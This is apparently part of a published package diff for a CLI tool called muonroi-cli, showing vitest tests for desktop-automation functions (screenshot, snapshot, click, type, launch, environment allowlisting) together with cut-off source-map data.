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"}

package/dist/src/tools/computer.test.d.ts

@@ -0,0 +1 @@
+export {};

package/dist/src/tools/computer.test.js

@@ -0,0 +1,142 @@
+import fs from "fs";
+import os from "os";
+import path from "path";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { buildAgentDesktopEnv, buildScreenshotPath, computerClick, computerLaunch, computerScreenshot, computerSnapshot, computerType, } from "./computer.js";
+describe("computer tools", () => {
+    const tempDirs = [];
+    afterEach(() => {
+        for (const dir of tempDirs.splice(0)) {
+            fs.rmSync(dir, { recursive: true, force: true });
+        }
+    });
+    it("stores screenshots under .muonroi-cli/computer by default", () => {
+        const cwd = fs.mkdtempSync(path.join(os.tmpdir(), "muonroi-computer-"));
+        tempDirs.push(cwd);
+        const outputPath = buildScreenshotPath(cwd);
+        expect(outputPath).toContain(path.join(".muonroi-cli", "computer"));
+        expect(path.dirname(outputPath)).toBe(path.join(cwd, ".muonroi-cli", "computer"));
+    });
+    it("captures screenshots through agent-desktop", async () => {
+        const cwd = fs.mkdtempSync(path.join(os.tmpdir(), "muonroi-computer-"));
+        tempDirs.push(cwd);
+        const outputPath = path.join(cwd, "artifacts", "screen.png");
+        const runner = vi.fn(async () => ({
+            success: true,
+            stdout: JSON.stringify({ ok: true, command: "screenshot", data: { path: outputPath } }),
+            stderr: "",
+        }));
+        const result = await computerScreenshot({ output_path: "artifacts/screen.png", app: "Google Chrome", window_id: "w-42" }, cwd, undefined, runner);
+        expect(result.success).toBe(true);
+        expect(result.media).toEqual([{ kind: "image", path: outputPath, mediaType: "image/png" }]);
+        expect(result.computer).toEqual({
+            action: "screenshot",
+            path: outputPath,
+            app: "Google Chrome",
+            windowId: "w-42",
+            hint: "Use computer_snapshot to inspect accessibility refs before clicking or typing.",
+        });
+        expect(runner).toHaveBeenCalledWith(["screenshot", outputPath, "--app", "Google Chrome", "--window-id", "w-42"], cwd, undefined);
+    });
+    it("formats snapshots with refs and raw JSON", async () => {
+        const runner = vi.fn(async () => ({
+            success: true,
+            stdout: JSON.stringify({
+                ok: true,
+                command: "snapshot",
+                data: {
+                    refs: ["@e1", "@e2"],
+                },
+            }),
+            stderr: "",
+        }));
+        const result = await computerSnapshot({ app: "Finder" }, "/tmp", undefined, runner);
+        expect(result.success).toBe(true);
+        expect(result.output).toContain("Refs: @e1, @e2");
+        expect(result.output).toContain('"command": "snapshot"');
+        expect(result.computer).toEqual({
+            action: "snapshot",
+            app: "Finder",
+            windowId: undefined,
+        });
+        expect(runner).toHaveBeenCalledWith(["snapshot", "--app", "Finder", "--interactive-only"], "/tmp", undefined);
+    });
+    it("clicks by accessibility ref", async () => {
+        const runner = vi.fn(async () => ({
+            success: true,
+            stdout: JSON.stringify({ ok: true, command: "click", data: { action: "click" } }),
+            stderr: "",
+        }));
+        const result = await computerClick({ ref: "@e7" }, "/tmp", undefined, runner);
+        expect(result.success).toBe(true);
+        expect(result.computer).toEqual({ action: "click", ref: "@e7" });
+        expect(runner).toHaveBeenCalledWith(["click", "@e7"], "/tmp", undefined);
+    });
+    it("reports a specific error for non-left ref clicks", async () => {
+        const runner = vi.fn(async () => ({
+            success: true,
+            stdout: "",
+            stderr: "",
+        }));
+        const result = await computerClick({ ref: "@e7", button: "right" }, "/tmp", undefined, runner);
+        expect(result.success).toBe(false);
+        expect(result.output).toContain("supports only the left button");
+        expect(runner).not.toHaveBeenCalled();
+    });
+    it("types into an element ref", async () => {
+        const runner = vi.fn(async () => ({
+            success: true,
+            stdout: JSON.stringify({ ok: true, command: "type", data: { action: "type" } }),
+            stderr: "",
+        }));
+        const result = await computerType({ ref: "@e5", text: "hello from muonroi" }, "/tmp", undefined, runner);
+        expect(result.success).toBe(true);
+        expect(result.output).toContain("Typed into @e5.");
+        expect(runner).toHaveBeenCalledWith(["type", "@e5", "hello from muonroi"], "/tmp", undefined);
+    });
+    it("launches apps through agent-desktop", async () => {
+        const runner = vi.fn(async () => ({
+            success: true,
+            stdout: JSON.stringify({ ok: true, command: "launch", data: { launched: true } }),
+            stderr: "",
+        }));
+        const result = await computerLaunch({ app: "Google Chrome", timeout_ms: 15000 }, "/tmp", undefined, runner);
+        expect(result.success).toBe(true);
+        expect(runner).toHaveBeenCalledWith(["launch", "Google Chrome", "--timeout", "15000"], "/tmp", undefined);
+    });
+    it("adds a macOS accessibility hint on permission failures", async () => {
+        const runner = vi.fn(async () => ({
+            success: false,
+            stdout: JSON.stringify({
+                ok: false,
+                command: "snapshot",
+                error: {
+                    code: "PERM_DENIED",
+                    message: "Accessibility permission not granted",
+                    suggestion: "Open System Settings > Privacy & Security > Accessibility and add your terminal application",
+                },
+            }),
+            stderr: "",
+        }));
+        const result = await computerSnapshot({ app: "Finder" }, "/tmp", undefined, runner);
+        expect(result.success).toBe(false);
+        expect(result.output).toContain("Accessibility permission");
+    });
+    it("only forwards an allowlisted environment to agent-desktop", () => {
+        const env = buildAgentDesktopEnv({
+            PATH: "/usr/bin:/bin",
+            HOME: "/Users/tester",
+            TERM: "xterm-256color",
+            GROK_API_KEY: "secret",
+            TELEGRAM_BOT_TOKEN: "also-secret",
+            CUSTOM_SECRET: "nope",
+        });
+        expect(env).toEqual({
+            FORCE_COLOR: "0",
+            HOME: "/Users/tester",
+            PATH: "/usr/bin:/bin",
+            TERM: "xterm-256color",
+        });
+    });
+});
+//# sourceMappingURL=computer.test.js.map

package/dist/src/tools/computer.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"computer.test.js","sourceRoot":"","sources":["../../../src/tools/computer.test.ts"],"names":[],"mappings":"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